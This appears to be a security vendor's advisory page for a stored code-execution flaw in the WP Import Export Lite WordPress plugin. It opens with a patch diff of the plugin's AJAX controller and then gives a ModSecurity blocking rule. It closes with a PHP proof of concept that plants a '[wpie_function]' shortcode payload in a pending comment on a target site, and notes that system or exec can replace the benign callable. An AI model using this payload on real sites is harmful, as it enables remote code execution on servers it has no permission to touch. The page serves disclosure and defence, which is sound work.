-                        $new_satus = "";
-
-                        if ( $process_status == "bg" ) {
-
-                                $new_satus = "background";
-
-                                $return_value[ 'message' ] = __( 'Background Process Successfully Set', 'wp-import-export-lite' );
-                        } elseif ( $process_status == "stop" ) {
-
-                                $new_satus = "stopped";
-
-                                $return_value[ 'message' ] = __( 'Process Stopped Successfully', 'wp-import-export-lite' );
-                        } elseif ( $process_status == "pause" ) {
-
-                                $new_satus = "paused";
-
-                                $return_value[ 'message' ] = __( 'Process Paused Successfully', 'wp-import-export-lite' );
-                        }
-
-                        unset( $process_status );
-
-                        if ( $new_satus != "" ) {
-
-                                $final_data = array(
-                                        'last_update_date' => current_time( 'mysql' ),
-                                        'status'           => $new_satus,
-                                );
-
-                                $wpdb->update( $wpdb->prefix . "wpie_template", $final_data, array( 'id' => $wpie_import_id ) );
-
-                                unset( $final_data );
-
-                                $return_value[ 'status' ] = 'success';
-                        } else {
-                                $return_value[ 'message' ] = __( 'Empty Status', 'wp-import-export-lite' );
-                        }
-
-                        unset( $new_satus );
-                } else {
-                        $return_value[ 'message' ] = __( 'Template id not found', 'wp-import-export-lite' );
-                }
-
-                unset( $wpie_import_id );
-
-                echo json_encode( $return_value );
-
-                die();
-        }
-
-        public function wpie_save_bg_cron_processing() {
-
-                wpieSecurity::verify_request( 'wpie_settings' );
-
-                $wpie_bg_and_cron_processing = get_option( "wpie_bg_and_cron_processing" );
-
-                if ( $wpie_bg_and_cron_processing && !empty( $wpie_bg_and_cron_processing ) ) {
-                        $cron_data = maybe_unserialize( $wpie_bg_and_cron_processing );
-
-                        $cron_method = isset( $_GET[ 'method' ] ) && wpie_sanitize_field( $_GET[ 'method' ] ) === "external" ? "external" : "wp";
-                } else {
-                        $cron_method = "wp";
-
-                        $cron_data = [ "token" => time() ];
-                }
-
-                $cron_data[ "method" ] = $cron_method;
-
-                update_option( "wpie_bg_and_cron_processing", maybe_serialize( $cron_data ) );
-
-                $return_value = array( "status" => 'success', "message" => __( 'Settings Successfully Saved', 'wp-import-export-lite' ) );
-
-                echo json_encode( $return_value );
-
-                die();
-        }
-
-        public function wpie_change_license_status() {
-
-                wpieSecurity::verify_request( 'wpie_settings' );
-
-                if ( file_exists( WPIE_CLASSES_DIR . '/class-wpie-license-manager.php' ) ) {
-                        require_once(WPIE_CLASSES_DIR . '/class-wpie-license-manager.php');
-                }
-
-                $license = new wpielicenseWPIE_License_Manager(
-                        WPIE_PLUGIN_API,
-                        WPIE_PLUGIN_FILE,
-                        array( 'version' => WPIE_PLUGIN_VERSION, 'license_db_key' => "wpie_license", 'author' => 'vjinfotech' )
-                );
-
-                $license->wpie_change_license_status();
-        }
-
-        public function __destruct() {
-                foreach ( $this as $key => $value ) {
-                        unset( $this->$key );
-                }
-        }
-}
+<?php
+/**
+ * Common AJAX Actions Controller.
+ *
+ * Handles general AJAX endpoints: user capabilities, templates management,
+ * background cron settings, process status updates, and template import/export.
+ *
+ * @since      1.0.0
+ * @package    wpie
+ * @subpackage wpieCore
+ * @author     VJinfotech <support@vjinfotech.com>
+ */
+
+defined( 'ABSPATH' ) || exit;
+
+use WpieAppCoreHelpersParam;
+
+if ( file_exists( WPIE_CLASSES_DIR . '/class-wpie-security.php' ) ) {
+	require_once WPIE_CLASSES_DIR . '/class-wpie-security.php';
+}
+
+/**
+ * WPIE_Common_Actions Class
+ *
+ * Registers and executes common administrative AJAX actions.
+ *
+ * @since 1.0.0
+ */
+class WPIE_Common_Actions {
+
+	/**
+	 * Class Constructor.
+	 *
+	 * Registers AJAX action hooks for admin users.
+	 *
+	 * @since 1.0.0
+	 */
+	public function __construct() {
+		add_action( 'wp_ajax_wpie_save_user_cap', array( $this, 'wpie_save_user_cap' ) );
+		add_action( 'wp_ajax_wpie_get_user_cap', array( $this, 'wpie_get_user_cap' ) );
+		add_action( 'wp_ajax_wpie_delete_tempaltes', array( $this, 'wpie_delete_tempaltes' ) );
+		add_action( 'wp_ajax_wpie_tempalte_import', array( $this, 'wpie_tempalte_import' ) );
+		add_action( 'wp_ajax_wpie_get_tempaltes', array( $this, 'wpie_get_tempalte_list' ) );
+		add_action( 'wp_ajax_wpie_save_advance_option', array( $this, 'wpie_save_advance_option' ) );
+		add_action( 'wp_ajax_wpie_update_process_status', array( $this, 'update_process_status' ) );
+		add_action( 'wp_ajax_wpie_save_bg_cron_processing', array( $this, 'wpie_save_bg_cron_processing' ) );
+		add_action( 'wp_ajax_wpie_change_license_status', array( $this, 'wpie_change_license_status' ) );
+	}
+
+	/**
+	 * AJAX Handler: Saves customized capabilities for a specific user role.
+	 *
+	 * @since  1.0.0
+	 * @access public
+	 *
+	 * @return void
+	 */
+	public function wpie_save_user_cap() {
+		wpieSecurity::verify_request( 'wpie_settings' );
+
+		$new_export            = Param::postSanitized( 'wpie_cap_new_export', 'int', 0 );
+		$manage_export         = Param::postSanitized( 'wpie_cap_manage_export', 'int', 0 );
+		$new_import            = Param::postSanitized( 'wpie_cap_new_import', 'int', 0 );
+		$manage_import         = Param::postSanitized( 'wpie_cap_manage_import', 'int', 0 );
+		$cap_settings          = Param::postSanitized( 'wpie_cap_settings', 'int', 0 );
+		$cap_ext               = Param::postSanitized( 'wpie_cap_ext', 'int', 0 );
+		$add_shortcode         = Param::postSanitized( 'wpie_cap_add_shortcode', 'int', 0 );
+		$update_superior_users = Param::postSanitized( 'wpie_cap_update_superior_users', 'int', 0 );
+		$wpie_user_role        = Param::postSanitized( 'wpie_user_role', 'text', '' );
+
+		$role = get_role( $wpie_user_role );
+
+		if ( $role ) {
+			if ( 1 === $new_export ) {
+				if ( ! $role->has_cap( 'wpie_new_export' ) ) {
+					$role->add_cap( 'wpie_new_export' );
+				}
+			} else {
+				$role->remove_cap( 'wpie_new_export' );
+			}
+
+			if ( 1 === $manage_export ) {
+				if ( ! $role->has_cap( 'wpie_manage_export' ) ) {
+					$role->add_cap( 'wpie_manage_export' );
+				}
+			} else {
+				$role->remove_cap( 'wpie_manage_export' );
+			}
+
+			if ( 1 === $new_import ) {
+				if ( ! $role->has_cap( 'wpie_new_import' ) ) {
+					$role->add_cap( 'wpie_new_import' );
+				}
+			} else {
+				$role->remove_cap( 'wpie_new_import' );
+			}
+
+			if ( 1 === $manage_import ) {
+				if ( ! $role->has_cap( 'wpie_manage_import' ) ) {
+					$role->add_cap( 'wpie_manage_import' );
+				}
+			} else {
+				$role->remove_cap( 'wpie_manage_import' );
+			}
+
+			if ( 1 === $cap_settings ) {
+				if ( ! $role->has_cap( 'wpie_settings' ) ) {
+					$role->add_cap( 'wpie_settings' );
+				}
+			} else {
+				$role->remove_cap( 'wpie_settings' );
+			}
+
+			if ( 1 === $cap_ext ) {
+				if ( ! $role->has_cap( 'wpie_extensions' ) ) {
+					$role->add_cap( 'wpie_extensions' );
+				}
+			} else {
+				$role->remove_cap( 'wpie_extensions' );
+			}
+
+			if ( 1 === $add_shortcode ) {
+				if ( ! $role->has_cap( 'wpie_add_shortcode' ) ) {
+					$role->add_cap( 'wpie_add_shortcode' );
+				}
+			} else {
+				$role->remove_cap( 'wpie_add_shortcode' );
+			}
+
+			if ( 1 === $update_superior_users ) {
+				if ( ! $role->has_cap( 'wpie_update_superior_users' ) ) {
+					$role->add_cap( 'wpie_update_superior_users' );
+				}
+			} else {
+				$role->remove_cap( 'wpie_update_superior_users' );
+			}
+		}
+
+		$return_value = array(
+			'status'  => 'success',
+			'message' => __( 'Role Successfully Saved', 'wp-import-export-lite' ),
+		);
+
+		wp_send_json( $return_value );
+	}
+
+	/**
+	 * AJAX Handler: Retrieves the active capabilities for a specific user role.
+	 *
+	 * @since  1.0.0
+	 * @access public
+	 *
+	 * @return void
+	 */
+	public function wpie_get_user_cap() {
+		wpieSecurity::verify_request( 'wpie_settings' );
+
+		$wpie_user_role = Param::requestSanitized( 'user_role', 'text', '' );
+		$role           = get_role( $wpie_user_role );
+		$cap            = array();
+
+		if ( $role ) {
+			if ( $role->has_cap( 'wpie_new_export' ) ) {
+				$cap[] = 'wpie_new_export';
+			}
+			if ( $role->has_cap( 'wpie_manage_export' ) ) {
+				$cap[] = 'wpie_manage_export';
+			}
+			if ( $role->has_cap( 'wpie_new_import' ) ) {
+				$cap[] = 'wpie_new_import';
+			}
+			if ( $role->has_cap( 'wpie_manage_import' ) ) {
+				$cap[] = 'wpie_manage_import';
+			}
+			if ( $role->has_cap( 'wpie_settings' ) ) {
+				$cap[] = 'wpie_settings';
+			}
+			if ( $role->has_cap( 'wpie_extensions' ) ) {
+				$cap[] = 'wpie_extensions';
+			}
+			if ( $role->has_cap( 'wpie_add_shortcode' ) ) {
+				$cap[] = 'wpie_add_shortcode';
+			}
+			if ( $role->has_cap( 'wpie_update_superior_users' ) ) {
+				$cap[] = 'wpie_update_superior_users';
+			}
+		}
+
+		$return_value = array(
+			'status' => 'success',
+			'cap'    => $cap,
+		);
+
+		wp_send_json( $return_value );
+	}
+
+	/**
+	 * AJAX Handler: Retrieves the template list as HTML option elements.
+	 *
+	 * @since  1.0.0
+	 * @access public
+	 *
+	 * @return void
+	 */
+	public function wpie_get_tempalte_list() {
+		wpieSecurity::verify_request( 'wpie_settings' );
+
+		$templates     = $this->wpie_get_templates();
+		$template_html = '';
+
+		if ( ! empty( $templates ) && is_array( $templates ) ) {
+			foreach ( $templates as $data ) {
+				$id      = isset( $data->id ) ? absint( $data->id ) : 0;
+				$options = isset( $data->options ) ? maybe_unserialize( $data->options ) : array();
+				$name    = isset( $options['wpie_template_name'] ) ? $options['wpie_template_name'] : '';
+
+				if ( $id > 0 && '' !== trim( strval( $name ) ) ) {
+					$template_html .= '<option value="' . esc_attr( $id ) . '">' . esc_html( $name ) . '</option>';
+				}
+			}
+		}
+
+		$return_value = array(
+			'status' => 'success',
+			'html'   => $template_html,
+		);
+
+		wp_send_json( $return_value );
+	}
+
+	/**
+	 * Retrieve list of export jobs.
+	 *
+	 * @since  1.0.0
+	 * @access public
+	 *
+	 * @param  int $limit Maximum records to return. Default 25.
+	 *
+	 * @return array Array of template database rows.
+	 */
+	public function get_export_list( $limit = 25 ) {
+		global $wpdb;
+
+		$limit = absint( $limit ) > 0 ? absint( $limit ) : 25;
+
+		return $wpdb->get_results(
+			$wpdb->prepare(
+				"SELECT * FROM {$wpdb->prefix}wpie_template WHERE `opration` IN ('export','schedule_export') ORDER BY `id` DESC LIMIT 0, %d",
+				$limit
+			)
+		);
+	}
+
+	/**
+	 * Retrieve list of import jobs.
+	 *
+	 * @since  1.0.0
+	 * @access public
+	 *
+	 * @param  int $limit Maximum records to return. Default 25.
+	 *
+	 * @return array Array of template database rows.
+	 */
+	public function get_import_list( $limit = 25 ) {
+		global $wpdb;
+
+		$limit = absint( $limit ) > 0 ? absint( $limit ) : 25;
+
+		return $wpdb->get_results(
+			$wpdb->prepare(
+				"SELECT * FROM {$wpdb->prefix}wpie_template WHERE `opration` IN ('import','schedule_import') ORDER BY `id` DESC LIMIT 0, %d",
+				$limit
+			)
+		);
+	}
+
+	/**
+	 * Retrieve saved export and import templates.
+	 *
+	 * @since  1.0.0
+	 * @access public
+	 *
+	 * @return array Array of saved template records.
+	 */
+	public function wpie_get_templates() {
+		global $wpdb;
+
+		return $wpdb->get_results(
+			"SELECT * FROM {$wpdb->prefix}wpie_template WHERE `opration` IN ('import_template','export_template')"
+		);
+	}
+
+	/**
+	 * AJAX Handler: Deletes specified templates and their associated storage directories.
+	 *
+	 * @since  1.0.0
+	 * @access public
+	 *
+	 * @return void
+	 */
+	public function wpie_delete_tempaltes() {
+		wpieSecurity::verify_request( 'wpie_settings' );
+
+		$ids = Param::requestSanitized( 'templates', 'text', '' );
+
+		if ( ! empty( $ids ) ) {
+			if ( is_string( $ids ) ) {
+				$ids = explode( ',', $ids );
+			}
+
+			if ( ! is_array( $ids ) ) {
+				$ids = array( $ids );
+			}
+
+			$ids = array_values( array_filter( array_map( 'absint', $ids ) ) );
+
+			if ( ! empty( $ids ) ) {
+				global $wpdb;
+
+				foreach ( $ids as $id ) {
+					if ( $id < 1 ) {
+						continue;
+					}
+
+					$template = $wpdb->get_row(
+						$wpdb->prepare(
+							"SELECT opration, options FROM {$wpdb->prefix}wpie_template WHERE `id` = %d LIMIT 0, 1",
+							$id
+						)
+					);
+
+					if ( ! $template ) {
+						continue;
+					}
+
+					$opration = isset( $template->opration ) ? $template->opration : 'import';
+					$options  = isset( $template->options ) ? maybe_unserialize( $template->options ) : array();
+					if ( ! is_array( $options ) ) {
+						$options = array();
+					}
+
+					if ( in_array( $opration, array( 'import', 'schedule_import', 'schedule_import_template' ), true ) ) {
+						if ( 'schedule_import_template' === $opration ) {
+							wp_clear_scheduled_hook( 'wpie_cron_schedule_import', array( $id ) );
+						}
+
+						$import_file = isset( $options['importFile'] ) && is_array( $options['importFile'] ) ? $options['importFile'] : array();
+
+						foreach ( $import_file as $file_data ) {
+							$base_dir = isset( $file_data['baseDir'] ) && is_string( $file_data['baseDir'] ) ? sanitize_file_name( $file_data['baseDir'] ) : '';
+
+							if ( '' === trim( $base_dir ) || strpos( $base_dir, '..' ) !== false || strpos( $base_dir, "" ) !== false ) {
+								continue;
+							}
+
+							$this->remove_dir( WPIE_UPLOAD_IMPORT_DIR . '/' . $base_dir, WPIE_UPLOAD_IMPORT_DIR );
+						}
+					} elseif ( in_array( $opration, array( 'export', 'schedule_export', 'schedule_export_template' ), true ) ) {
+						if ( 'schedule_export_template' === $opration ) {
+							wp_clear_scheduled_hook( 'wpie_cron_schedule_export', array( $id ) );
+						}
+
+						$file_dir = isset( $options['fileDir'] ) && is_string( $options['fileDir'] ) ? sanitize_file_name( $options['fileDir'] ) : '';
+
+						if ( '' === trim( $file_dir ) || strpos( $file_dir, '..' ) !== false || strpos( $file_dir, "" ) !== false ) {
+							continue;
+						}
+
+						$this->remove_dir( WPIE_UPLOAD_EXPORT_DIR . '/' . $file_dir, WPIE_UPLOAD_EXPORT_DIR );
+					}
+				}
+
+				$placeholders = implode( ',', array_fill( 0, count( $ids ), '%d' ) );
+				$wpdb->query(
+					$wpdb->prepare(
+						"DELETE FROM {$wpdb->prefix}wpie_template WHERE id IN ({$placeholders})", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared, WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare -- Dynamic placeholders in prepared query.
+						$ids
+					)
+				);
+			}
+		}
+
+		$data = array(
+			'status'  => 'success',
+			'message' => __( 'Templates Successfully Deleted', 'wp-import-export-lite' ),
+		);
+
+		wp_send_json( $data );
+	}
+
+	/**
+	 * Safely removes a directory and its contents, strictly confined to the allowed base directory.
+	 * Resolves canonical paths using realpath() to prevent arbitrary directory deletion via directory traversal.
+	 *
+	 * @since  1.0.0
+	 * @access private
+	 *
+	 * @param  string $targetDir Directory to delete. Default empty string.
+	 * @param  string $baseDir   Allowed base directory boundary (defaults to WPIE_UPLOAD_DIR). Default empty string.
+	 *
+	 * @return bool True if directory was removed, false otherwise.
+	 */
+	private function remove_dir( $targetDir = '', $baseDir = '' ) {
+		if ( empty( $targetDir ) || ! is_string( $targetDir ) ) {
+			return false;
+		}
+
+		// Disallow directory traversal sequences and null bytes.
+		if ( strpos( $targetDir, '..' ) !== false || strpos( $targetDir, "" ) !== false ) {
+			return false;
+		}
+
+		// If base directory is not explicitly specified, default to WPIE_UPLOAD_DIR.
+		if ( empty( $baseDir ) ) {
+			$baseDir = defined( 'WPIE_UPLOAD_DIR' ) ? WPIE_UPLOAD_DIR : '';
+		}
+
+		if ( empty( $baseDir ) || ! is_string( $baseDir ) || strpos( $baseDir, "" ) !== false ) {
+			return false;
+		}
+
+		if ( ! is_dir( $baseDir ) ) {
+			return false;
+		}
+
+		$real_base = realpath( $baseDir );
+		if ( false === $real_base ) {
+			return false;
+		}
+
+		// If target is a symlink, remove it directly without recursing into target.
+		if ( is_link( $targetDir ) ) {
+			return @wp_delete_file( $targetDir );
+		}
+
+		if ( ! is_dir( $targetDir ) ) {
+			return false;
+		}
+
+		$real_target = realpath( $targetDir );
+		if ( false === $real_target ) {
+			return false;
+		}
+
+		$base_norm   = trailingslashit( wp_normalize_path( $real_base ) );
+		$target_norm = trailingslashit( wp_normalize_path( $real_target ) );
+
+		// Target directory must be strictly inside the base directory, never the base directory itself.
+		if ( $target_norm === $base_norm || strpos( $target_norm, $base_norm ) !== 0 ) {
+			return false;
+		}
+
+		// Also ensure target is strictly inside WPIE_UPLOAD_DIR when defined.
+		if ( defined( 'WPIE_UPLOAD_DIR' ) ) {
+			$real_upload = realpath( WPIE_UPLOAD_DIR );
+			if ( false !== $real_upload ) {
+				$upload_norm = trailingslashit( wp_normalize_path( $real_upload ) );
+				if ( $target_norm === $upload_norm || strpos( $target_norm, $upload_norm ) !== 0 ) {
+					return false;
+				}
+			}
+		}
+
+		$cdir = scandir( $real_target );
+
+		if ( is_array( $cdir ) && ! empty( $cdir ) ) {
+			foreach ( $cdir as $value ) {
+				if ( ! in_array( $value, array( '.', '..' ), true ) ) {
+					$child_path = $real_target . DIRECTORY_SEPARATOR . $value;
+					if ( is_link( $child_path ) ) {
+						@wp_delete_file( $child_path );
+					} elseif ( is_dir( $child_path ) ) {
+						$this->remove_dir( $child_path, $baseDir );
+					} else {
+						@wp_delete_file( $child_path );
+					}
+				}
+			}
+		}
+
+		// phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_rmdir -- Custom recursive directory removal with path validation.
+		return (bool) @rmdir( $real_target );
+	}
+
+	/**
+	 * AJAX Handler: Saves advanced plugin options (e.g. delete data on uninstall).
+	 *
+	 * @since  1.0.0
+	 * @access public
+	 *
+	 * @return void
+	 */
+	public function wpie_save_advance_option() {
+		wpieSecurity::verify_request( 'wpie_settings' );
+
+		$is_delete_data = Param::requestSanitized( 'is_delete_data', 'absint', 0 );
+
+		update_option( 'wpie_delete_on_uninstall', $is_delete_data );
+
+		$return_value = array(
+			'status'  => 'success',
+			'message' => __( 'Settings Successfully Saved', 'wp-import-export-lite' ),
+		);
+
+		wp_send_json( $return_value );
+	}
+
+	/**
+	 * AJAX Handler: Imports exported template configuration from an uploaded TXT file.
+	 *
+	 * @since  1.0.0
+	 * @access public
+	 *
+	 * @return void
+	 */
+	public function wpie_tempalte_import() {
+		wpieSecurity::verify_request( 'wpie_settings' );
+
+		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Nonce verified via wpieSecurity::verify_request()
+		if ( ! isset( $_FILES['wpie_template_file'] ) || ! is_array( $_FILES['wpie_template_file'] ) ) {
+			wp_send_json(
+				array(
+					'status'  => 'error',
+					'message' => __( 'No file uploaded', 'wp-import-export-lite' ),
+				)
+			);
+		}
+
+		// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Nonce verified via wpieSecurity::verify_request()
+		$file_input = $_FILES['wpie_template_file'];
+
+		$filename   = isset( $file_input['name'] ) ? sanitize_file_name( wp_unslash( $file_input['name'] ) ) : '';
+		$validate   = wp_check_filetype( $filename );
+		$ext        = isset( $validate['ext'] ) && is_string( $validate['ext'] ) ? strtolower( $validate['ext'] ) : '';
+		$type       = isset( $validate['type'] ) && is_string( $validate['type'] ) ? $validate['type'] : '';
+		$mime_check = isset( $file_input['type'] ) && is_string( $file_input['type'] ) ? sanitize_mime_type( wp_unslash( $file_input['type'] ) ) : '';
+
+		if ( 'txt' !== $ext || 'text/plain' !== $type || 'text/plain' !== $mime_check ) {
+			wp_send_json(
+				array(
+					'status'  => 'error',
+					'message' => __( 'File type is not allowed', 'wp-import-export-lite' ),
+				)
+			);
+		}
+
+		if ( isset( $file_input['tmp_name'] ) && is_uploaded_file( $file_input['tmp_name'] ) ) {
+			if ( ! function_exists( 'wp_handle_upload' ) ) {
+				require_once ABSPATH . 'wp-admin/includes/file.php';
+			}
+
+			$movefile = wp_handle_upload( $file_input, array( 'test_form' => false, 'test_type' => false ) );
+
+			if ( $movefile && isset( $movefile['file'] ) && ! isset( $movefile['error'] ) ) {
+				$file_path     = $movefile['file'];
+				$template_data = file_get_contents( $file_path ); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents
+
+				if ( ! empty( $template_data ) ) {
+					$template_data = json_decode( $template_data, true );
+
+					if ( ! empty( $template_data ) && is_array( $template_data ) ) {
+						global $wpdb;
+
+						$time         = current_time( 'mysql' );
+						$current_user = wp_get_current_user();
+						$username     = ( $current_user && isset( $current_user->user_login ) ) ? $current_user->user_login : '';
+
+						$allowed_operations = array(
+							'export',
+							'import',
+							'schedule_export',
+							'schedule_import',
+							'import_template',
+							'export_template',
+							'schedule_import_template',
+							'schedule_export_template',
+						);
+
+						foreach ( $template_data as $template ) {
+							if ( ! is_array( $template ) ) {
+								continue;
+							}
+
+							$opration = isset( $template['opration'] ) ? sanitize_key( $template['opration'] ) : '';
+							if ( ! in_array( $opration, $allowed_operations, true ) ) {
+								continue;
+							}
+
+							$opration_type = isset( $template['opration_type'] ) ? sanitize_key( $template['opration_type'] ) : '';
+							$options       = isset( $template['options'] ) && is_array( $template['options'] ) ? $template['options'] : array();
+
+							// Sanitize file options to strictly prevent directory traversal sequences.
+							if ( isset( $options['fileDir'] ) && is_string( $options['fileDir'] ) ) {
+								$clean_fdir = str_replace( "", '', $options['fileDir'] );
+								while ( strpos( $clean_fdir, '..' ) !== false ) {
+									$clean_fdir = str_replace( '..', '', $clean_fdir );
+								}
+								$options['fileDir'] = sanitize_file_name( $clean_fdir );
+							}
+
+							if ( isset( $options['fileName'] ) && is_string( $options['fileName'] ) ) {
+								$clean_fname = str_replace( "", '', $options['fileName'] );
+								while ( strpos( $clean_fname, '..' ) !== false ) {
+									$clean_fname = str_replace( '..', '', $clean_fname );
+								}
+								$options['fileName'] = sanitize_file_name( $clean_fname );
+							}
+
+							if ( isset( $options['importFile'] ) && is_array( $options['importFile'] ) ) {
+								foreach ( $options['importFile'] as $import_key => $import_val ) {
+									if ( is_array( $import_val ) ) {
+										if ( isset( $import_val['baseDir'] ) && is_string( $import_val['baseDir'] ) ) {
+											$clean_bdir = str_replace( "", '', $import_val['baseDir'] );
+											while ( strpos( $clean_bdir, '..' ) !== false ) {
+												$clean_bdir = str_replace( '..', '', $clean_bdir );
+											}
+											$options['importFile'][ $import_key ]['baseDir'] = sanitize_file_name( $clean_bdir );
+										}
+										if ( isset( $import_val['fileDir'] ) && is_string( $import_val['fileDir'] ) ) {
+											$clean_ifdir = str_replace( "", '', $import_val['fileDir'] );
+											while ( strpos( $clean_ifdir, '..' ) !== false ) {
+												$clean_ifdir = str_replace( '..', '', $clean_ifdir );
+											}
+											$options['importFile'][ $import_key ]['fileDir'] = sanitize_file_name( $clean_ifdir );
+										}
+									}
+								}
+							}
+
+							$data = array(
+								'status'           => 'completed',
+								'opration'         => $opration,
+								'username'         => $username,
+								'unique_id'        => uniqid( 'wpie_' ),
+								'opration_type'    => $opration_type,
+								'options'          => maybe_serialize( $options ),
+								'process_log'      => '',
+								'process_lock'     => 0,
+								'create_date'      => $time,
+								'last_update_date' => $time,
+							);
+
+							$wpdb->insert( $wpdb->prefix . 'wpie_template', $data );
+						}
+
+						if ( file_exists( $file_path ) ) {
+							@wp_delete_file( $file_path );
+						}
+
+						wp_send_json(
+							array(
+								'status'  => 'success',
+								'message' => __( 'Templates Successfully Imported', 'wp-import-export-lite' ),
+							)
+						);
+					}
+				}
+
+				if ( file_exists( $file_path ) ) {
+					@wp_delete_file( $file_path );
+				}
+
+				wp_send_json(
+					array(
+						'status'  => 'error',
+						'message' => __( 'Empty 

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-19793
# Block unauthenticated comment submissions whose body contains a [wpie_function] shortcode.
# The exploit chain stores the shortcode in a pending comment and relies on an admin-side
# migration to evaluate it, so blocking the injection at comment submission time neutralizes
# the attack before the admin workflow is ever reached.
SecRule REQUEST_URI "@rx ^/wp-comments-post.php$" 
  "id:20261973,phase:2,deny,status:403,chain,msg:'CVE-2026-19793 via WP Import Export Lite comment shortcode injection',severity:'CRITICAL',tag:'CVE-2026-19793'"
  SecRule ARGS_POST:comment "@rx [s*wpie_functionb" 
    "t:urlDecodeUni,t:lowercase,t:removeNulls"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-19793 - WP Import Export Lite <= 3.9.32 - Unauthenticated Stored Code Execution via Placeholder Substitution in Imported Comment Content
//
// Stage 1: Unauthenticated attacker submits a pending comment containing a [wpie_function] shortcode.
// Stage 2: An administrator later runs the routine Export With Settings For Import / New Import workflow,
//          which substitutes the stored comment content into the mapping placeholder AFTER the shortcode
//          neutralizer has already run, causing the callable to execute server-side.
//
// This PoC demonstrates Stage 1 only. Stage 2 requires the admin migration workflow.

$target_url = 'http://target.local'; // <-- configure
$post_id    = 1;                     // <-- configure: a post with comments open

// Payload: a benign callable that proves execution. Replace 'php_uname' with any PHP callable
// (system, exec, file_put_contents, etc.) for a full exploit.
$payload = '[wpie_function callable="php_uname"]';

// Build the comment submission request exactly as WordPress accepts it.
$comment_data = array(
    'comment_post_ID'      => $post_id,
    'author'               => 'AtomicEdge',
    'email'                => 'edge@atomic.test',
    'url'                  => '',
    'comment'              => $payload,
    'comment_parent'       => 0,
    'submit'               => 'Post Comment',
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, rtrim($target_url, '/') . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Submitted comment payload to post {$post_id}n";
echo "[+] HTTP status: {$http_code}n";

// The comment is now stored as pending. When an administrator performs the
// Export With Settings For Import -> New Import migration and maps the comment
// field, the [wpie_function] shortcode is evaluated with the attacker-chosen
// callable. The callable output (e.g. php_uname result) appears in the imported
// content or migrations log.
echo "[i] Next step: administrator runs the standard migration workflow.n";
echo "[i] Payload: {$payload}n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.